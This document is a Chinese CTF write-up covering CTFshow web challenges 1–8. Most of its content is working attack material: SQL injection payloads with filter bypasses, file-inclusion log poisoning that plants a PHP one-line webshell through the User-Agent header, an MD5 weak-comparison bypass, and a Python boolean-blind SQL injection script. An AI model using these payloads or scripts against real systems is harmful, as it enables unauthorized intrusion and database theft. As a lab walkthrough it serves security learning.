CTFshow web1~8 WP Write by SunnyDog


在这里插入图片描述

web签到题–查看源码

直接查看页面源代码,在源代码中 得到一串base64编码,解码即是flag

请添加图片描述


web2–SQL注入

1、开启题目后发现是一个登录框,直接尝试万能密码,可以得到回显:

万能密码:

1' or 1#

请添加图片描述

2、得到回显后,直接使用union联合注入,找到页面回显点,由于此处不知都为啥我的Hackbar使用出现问题,使用burp来发送数据包,在burp内将数据包发送到Repeater模块,然后传入攻击语句,即可在Response中的渲染内,看到出现回显点

请添加图片描述

3、找到回显点后,即可按顺序爆表、列、字段即可获得flag

表:1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()
列:1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name="flag"#
字段:1' union select 1,group_concat(flag),3 from flag#

请添加图片描述


web3–input伪协议/log注入

1、开启题目后,看到页面提示中有一串文件包含的php命令,由于是文件包含,直接尝试input协议,但是很奇怪嗷,我当时做的使用使用input协议回显为error,但是这次就出来了:

请添加图片描述请添加图片描述

2、但是本题还有一个漏洞点,假设我们现在input协议无法使用,且从数据包的回显中可以看出,该靶场服务器为ngix系统,那么通过文件包含查看其日志文件:

?url=/var/log/nginx/access.log

请添加图片描述
请添加图片描述

可以看出,日志就是将数据包的User-Agent中的内容写入了,那么尝试在User-Agent头中写入一句话木马:

请添加图片描述

发送到服务器后,包含刚刚的日志文件,发现没有这行一句话木马的信息,证明此时我的木马被服务器解析了,那么就可以直接使用蚁剑来进行连接:

请添加图片描述

蚁剑链接后,就可以在ctf_go_go_go中得到flag

请添加图片描述


Web4–log注入

本题与web3的第二种方法做法相同,在user-agent头后写一句话木马,包含日志文件后即可通过蚁剑连接


Web5–代码审计

本题需要传入两个参数,分别是v1和v2

请添加图片描述

isset():用于检测变量是否已设置并且非 NULL;

ctype_alpha():用于检查给定的字符串是否仅包含字母;

is_numeric():用于检测变量是否为数字或数字字符串;

md5():计算字符串的 MD5 散列;

对于本题来说,需要传入两个参数v1和v2,并且v1必须为仅包含字母的字符串,v2必须为数字或数字字符串,那么此处就可以利用md5的弱类型比较来绕过,参考其中的0e绕过:https://blog.youkuaiyun.com/weixin_43332695/article/details/119349204

设置payload:

?v1=QNKCDZO&v2=240610708

请添加图片描述


Web6–SQL注入,但是过滤

看到登录框,同样先尝试我们的万能密码:

username=admin' or 1#&password=123

请添加图片描述

发现此时出现了过滤信息,在对上述语句一个一个尝试后,发现过滤了空格,在SQL注入中,可以使用()或/**/来绕过空格:

username=admin'or(1)#&password=123
username=admin'/**/or/**/1#&password=123

请添加图片描述

成功绕过,然后构造将空格替换为/**/的语句即可得出flag:

username=admin'union/**/select/**/1,2,3#&password=123
username=admin'union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema=database()#&password=123
username=admin'union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name="flag"#&password=123
username=admin'union/**/select/**/1,group_concat(flag),3/**/from/**/flag#&password=123

请添加图片描述


Web7–SQL注入

本题开启后,随意点击一个文章,可以发现url地址中有一个参数id,猜测有SQL注入点

请添加图片描述

使用payload尝试,发现过滤了空格,则构造:

?id=1'/**/or/**/1#
http://e780cea5-07c7-4539-98a8-256b33349b15.challenge.ctf.show/index.php?id=1'/**/union/**/select/**/1,2,3#
http://e780cea5-07c7-4539-98a8-256b33349b15.challenge.ctf.show/index.php?id=1'/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema=database()#
http://e780cea5-07c7-4539-98a8-256b33349b15.challenge.ctf.show/index.php?id=1'/**/union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name="flag"#
http://e780cea5-07c7-4539-98a8-256b33349b15.challenge.ctf.show/index.php?id=1'/**/union/**/select/**/1,group_concat(flag),3/**/from/**/flag#

请添加图片描述


Web8–脚本布尔盲注

经过一系列payload的尝试后,发现本题过滤了空格、union、and、逗号等,这也意味着无法使用联合查询了,那么此时就需要我们编写脚本来解决:

import requests

url = 'http://42663f6e-29cf-493e-9d72-80872db16864.challenge.ctf.show/index.php?id=-1/**/or/**/'
name = ''

# 循环100次( 循环次数按照返回的字符串长度自定义)
for i in range(1, 80):
    # 获取当前使用的数据库
    # payload = 'ascii(substr(database()from/**/%d/**/for/**/1))=%d'
    # 获取当前数据库的所有表
    # payload = 'ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())from/**/%d/**/for/**/1))=%d'
    # 获取flag表的字段
    # payload = 'ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666C6167)from/**/%d/**/for/**/1))=%d'
    # 获取flag表的数据
    payload = 'ascii(substr((select/**/flag/**/from/**/flag)from/**/%d/**/for/**/1))=%d'
    count = 0
    print('正在获取第 %d 个字符' % i)
    # 截取SQL查询结果的每个字符, 并判断字符内容
    for j in range(31, 128):
        result = requests.get(url + payload % (i, j))
        if 'If' in result.text:
            name += chr(j)
            print('数据库名/表名/字段名/数据: %s' % name)
            break

        # 如果某个字符不存在,则停止程序
        count += 1
        if count >= (128 - 31):
            exit()

程序十分钟内跑出flag

评论 8
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Sunny-Dog

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值